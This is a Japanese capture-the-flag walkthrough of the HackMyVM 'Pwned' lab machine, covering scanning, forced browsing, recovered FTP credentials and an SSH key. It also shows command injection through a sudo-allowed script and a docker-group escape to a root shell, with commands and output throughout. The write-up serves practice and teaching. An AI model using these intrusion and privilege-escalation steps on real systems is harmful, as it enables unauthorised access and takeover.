HackMyVM | Pwned を攻略する。
tl;dr
dirbuster
のワードリストを利用して、Webサーバーに対して forced browsing 行う- 見つかった URL にアクセスし、
ftp
の認証情報を手に入れる - FTP サーバーから、ユーザー
ariana
の SSH 秘密鍵を手に入れる ariana
としてログインariana
がsudo
で実行可能なスクリプトを利用し、ユーザーselena
としてログインdocker
コマンドを利用してroot
権限を手に入れる
0. ネットワークの設定と IP アドレスの確認
0.1. ネットワークの設定
攻撃に使うマシンからアクセスできさえすれば、どんな設定でも構わない。 ここではマシンの IP アドレスを特定しやすいよう Host-only Network を使うよう設定する。
0.2. IP アドレスを確認する
$ nmap -sP 192.168.56.100-254
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-01 12:51 JST
Nmap scan report for 192.168.56.105
Host is up (0.00014s latency).
Nmap done: 155 IP addresses (1 host up) scanned in 2.61 seconds
今回の攻撃対象の IP アドレスは192.168.56.105
であることがわかった。
1. ポートスキャン
$ nmap -sC -sV -T5 192.168.56.105
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-01 12:53 JST
Nmap scan report for 192.168.56.105
Host is up (0.00012s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
| 256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_ 256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Pwned....!!
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds
21, 22, 80 番のポートが開いていることがわかる。
2. 80 番ポートにアクセスする
2.1. とりあえずcurl
$ curl http://192.168.56.105
<!DOCTYPE html>
<html>
<head>
<title>Pwned....!!</title>
</head>
<body>
<h1> vanakam nanba (Hello friend) </h1>
<p></p>
<p>
<pre>
dddddddd
PPPPPPPPPPPPPPPPP d::::::d
P::::::::::::::::P d::::::d
P::::::PPPPPP:::::P d::::::d
PP:::::P P:::::P d:::::d
P::::P P:::::Pwwwwwww wwwww wwwwwwwnnnn nnnnnnnn eeeeeeeeeeee ddddddddd:::::d
P::::P P:::::P w:::::w w:::::w w:::::w n:::nn::::::::nn ee::::::::::::ee dd::::::::::::::d
P::::PPPPPP:::::P w:::::w w:::::::w w:::::w n::::::::::::::nn e::::::eeeee:::::ee d::::::::::::::::d
P:::::::::::::PP w:::::w w:::::::::w w:::::w nn:::::::::::::::ne::::::e e:::::ed:::::::ddddd:::::d
P::::PPPPPPPPP w:::::w w:::::w:::::w w:::::w n:::::nnnn:::::ne:::::::eeeee::::::ed::::::d d:::::d
P::::P w:::::w w:::::w w:::::w w:::::w n::::n n::::ne:::::::::::::::::e d:::::d d:::::d
P::::P w:::::w:::::w w:::::w:::::w n::::n n::::ne::::::eeeeeeeeeee d:::::d d:::::d
P::::P w:::::::::w w:::::::::w n::::n n::::ne:::::::e d:::::d d:::::d
PP::::::PP w:::::::w w:::::::w n::::n n::::ne::::::::e d::::::ddddd::::::dd
P::::::::P w:::::w w:::::w n::::n n::::n e::::::::eeeeeeee d:::::::::::::::::d
P::::::::P w:::w w:::w n::::n n::::n ee:::::::::::::e d:::::::::ddd::::d
PPPPPPPPPP www www nnnnnn nnnnnn eeeeeeeeeeeeee ddddddddd ddddd
A last note from Attacker :)
I am Annlynn. I am the hacker hacked your server with your employees but they don't know how i used them.
Now they worry about this. Before finding me investigate your employees first. (LOL) then find me Boomers XD..!!
</pre>
</p>
</body>
</html>
<!-- I forgot to add this on last note
You are pretty smart as i thought
so here i left it for you
She sings very well. l loved it -->
Annlynn がこのマシンを乗っ取ったと書いてある。 それ以外に目を引く情報はない。
2.2. Forced browsing
アクセス可能な URL を探す。
$ feroxbuster --url http://192.168.56.105 --silent
http://192.168.56.105/nothing/nothing.html
http://192.168.56.105/
http://192.168.56.105/nothing => http://192.168.56.105/nothing/
$ curl http://192.168.56.105/nothing/nothing.html
<!DOCTYPE html>
<html>
<head>
<title>Nothing</title>
</head>
<body>
<h1>i said nothing bro </h1>
<p></p>
<!--I said nothing here. you are wasting your time i don't lie-->
</body>
</html>
feroxbuster
がデフォルトで使うワードリストでは/nothing/
しかヒットしなかった。 より大きなワードリストを使ってもう一度スキャンしてみる:
$ feroxbuster --url http://192.168.56.105 --silent -w /usr/share/dirbuster/directory-list-2.3-medium.txt
http://192.168.56.105/nothing/nothing.html
http://192.168.56.105/
http://192.168.56.105/nothing => http://192.168.56.105/nothing/
http://192.168.56.105/hidden_text => http://192.168.56.105/hidden_text/
http://192.168.56.105/hidden_text/secret.dic
新たに/hidden_text/secret.dic
が見つかった。 中身を確認してみる:
$ curl http://192.168.56.105/hidden_text/secret.dic
/hacked
/vanakam_nanba
/hackerman.gif
/facebook
/whatsapp
/instagram
/pwned
/pwned.com
/pubg
/cod
/fortnite
/youtube
/kali.org
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned.vuln
/backup.vuln
/.ssh
/root
/home
パスのリストに見える。 このリストを使ってもう一度スキャンしてみる:
$ curl http://192.168.56.105/hidden_text/secret.dic > secret.dic
$ feroxbuster --url http://192.168.56.105 --silent -w ./secret.dic
http://192.168.56.105/nothing/nothing.html
http://192.168.56.105/
http://192.168.56.105/pwned.vuln => http://192.168.56.105/pwned.vuln/
/pwned.vuln/
が新たに見つかった。 中身を確認してみる:
$ curl http://192.168.56.105/pwned.vuln/
<!DOCTYPE html>
<html>
<head>
<title>login</title>
</head>
<body>
<div id="main">
<h1> vanakam nanba. I hacked your login page too with advanced hacking method</h1>
<form method="POST">
Username <input type="text" name="username" class="text" autocomplete="off" required>
Password <input type="password" name="password" class="text" required>
<input type="submit" name="submit" id="sub">
</form>
</div>
</body>
</html>
<?php
// if (isset($_POST['submit'])) {
// $un=$_POST['username'];
// $pw=$_POST['password'];
//
// if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
// echo "welcome"
// exit();
// }
// else
// echo "Invalid creds"
// }
?>
コメントアウトされた部分に、if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
という行がある。 ftp
に使えそうなユーザー名とパスワードが手に入った。
3. 21 番ポートftp
手に入ったユーザー名とパスワードを使って、FTP サーバーに接続してみる:
$ ftp ftpuser@192.168.56.105
Connected to 192.168.56.105.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 3 0 0 4096 Jul 09 2020 .
drwxr-xr-x 5 0 0 4096 Jul 10 2020 ..
drwxr-xr-x 2 0 0 4096 Jul 10 2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 10 2020 .
drwxrwxrwx 3 0 0 4096 Jul 09 2020 ..
-rw-r--r-- 1 0 0 2602 Jul 09 2020 id_rsa
-rw-r--r-- 1 0 0 75 Jul 09 2020 note.txt
226 Directory send OK.
ftp> mget *
mget id_rsa? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
226 Transfer complete.
2602 bytes received in 9e-05 seconds (27.6 Mbytes/s)
mget note.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (75 bytes).
226 Transfer complete.
75 bytes received in 8.6e-05 seconds (852 kbytes/s)
ftp> quit
221 Goodbye.
id_rsa
とnote.txt
というファイルが手に入った。
id_rsa
は ユーザーariana
に関係がありそうだ。 それぞれ中身を確認してみると:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
GxY4+eGHY4WJUdAAAADHJvb3RAQW5ubHlubgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
Wow you are here
ariana won't happy about this note
sorry ariana :(
id_rsa
は SSH の秘密鍵であることがわかる。 またnote.txt
から、id_rsa
はユーザーariana
のもののように見える。
4.ariana
としてログイン
手に入ったid_rsa
を使って、ariana
として SSH を試みる。
$ ssh -i ./id_rsa ariana@192.168.56.105
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
ariana@192.168.56.105's password:
パスワードを聞かれてしまいログインできない。 id_rsa
のパーミッションを、他のユーザーから読み書きできないように変更する必要がある:
$ chmod 600 ./id_rsa
改めて SSH を試みる:
$ ssh -i ./id_rsa ariana@192.168.56.105
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 1 08:42:24 2024 from 192.168.56.1
ariana@pwned:~$
ariana
としてログインできた。
ariana@pwned:~$ ls -la
total 40
drwxrwx--- 4 ariana ariana 4096 Jul 10 2020 .
drwxr-xr-x 5 root root 4096 Jul 10 2020 ..
-rw-r--r-- 1 ariana ariana 142 Jul 10 2020 ariana-personal.diary
-rw------- 1 ariana ariana 469 Mar 1 08:47 .bash_history
-rw-r--r-- 1 ariana ariana 220 Jul 4 2020 .bash_logout
-rw-r--r-- 1 ariana ariana 3526 Jul 4 2020 .bashrc
drwxr-xr-x 3 ariana ariana 4096 Jul 6 2020 .local
-rw-r--r-- 1 ariana ariana 807 Jul 4 2020 .profile
drwx------ 2 ariana ariana 4096 Jul 9 2020 .ssh
-rw-r--r-- 1 ariana ariana 143 Jul 10 2020 user1.txt
user1.txt
がひとつ目のフラッグ。
さらに攻撃を進めるために、利用できるコマンドがないかを調べたい。 sudo
で利用できる権限を確認してみる:
ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh
ユーザーselena
として、パスワードなしで/home/messenger.sh
が実行できるようだ。
/home/messenger.sh
の中身を確認する:
#!/bin/bash
clear
echo "Welcome to linux.messenger "
echo ""
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""
echo "$users"
echo ""
read -p "Enter username to send message : " name
echo ""
read -p "Enter message for $name :" msg
echo ""
echo "Sending message to $name "
$msg 2> /dev/null
echo ""
echo "Message sent to $name :) "
echo ""
$msg 2> /dev/null
に注目したい。 $msg
を実行してstderr
への出力を捨てていることがわかる。 $msg
はread
コマンドから読み取っていて、かつその内容は一切確認されていない。
/home/messenger.sh
を使うことで、ユーザーselena
として、任意のコマンドを実行できることがわかった。
5. selena
としてログイン
ここまででユーザーariana
は任意のコマンドを、ユーザーselena
として実行できることがわかっている。
/home/messenger.sh
をselena
として実行し、$msg
としてbash
を入力してみる:
ariana@pwned:~$ sudo -u selena /home/messenger.sh
Welcome to linux.messenger
ariana:
selena:
ftpuser:
Enter username to send message :
Enter message for :bash
Sending message to
echo $SHELL
/bin/bash
プロンプトは表示されないが、Sending message to
が表示された後にbash
が起動していることがわかる。 このままでも攻撃に支障はないが、使い勝手が良くない。 より操作しやすい環境を用意する:
...
Sending message to
which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
selena@pwned:/home/ariana$ cd
selena@pwned:~$ pwd
/home/selena
(1)ariana
がselena
として実行したbash
から、(2)python3
のpty
を読み込み実行している。 pty
について詳しくは以下を参照してほしい。
selena@pwned:~$ ls -la
total 24
drwxrwx--- 3 selena root 4096 Jul 10 2020 .
drwxr-xr-x 5 root root 4096 Jul 10 2020 ..
-rw------- 1 selena selena 108 Mar 1 08:47 .bash_history
drwxr-xr-x 3 selena selena 4096 Jul 9 2020 .local
-rw-r--r-- 1 selena selena 132 Jul 10 2020 selena-personal.diary
-rw-r--r-- 1 selena selena 100 Jul 10 2020 user2.txt
selena@pwned:~$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
/home/selena/user2.txt
がふたつ目のフラッグ。
id
の実行結果から、selena
はdocker
グループに属していることがわかる。 これを利用してroot
権限を手に入れる。
6. docker
を利用してroot
権限を手に入れる
ユーザーselena
はdocker
グループに属している。 docker
グループに属しているユーザーはdocker
コマンドを使うことができる。 これを利用したい。
GTFOBins を確認すると、docker
を利用して root
権限を手に入れる、そのものズバリの方法が載っていた:
It can be used to break out from restricted environments by spawning an interactive system shell.
The resulting is a root shell.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
selena@pwned:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cd /root
# ls -la
total 28
drwx------ 3 root root 4096 Jul 10 2020 .
drwxr-xr-x 18 root root 4096 Jul 6 2020 ..
-rw------- 1 root root 382 Mar 1 08:47 .bash_history
-rw-r--r-- 1 root root 601 Jul 6 2020 .bashrc
drwxr-xr-x 3 root root 4096 Jul 4 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 429 Jul 10 2020 root.txt
root.txt
が最後のフラッグ 🎉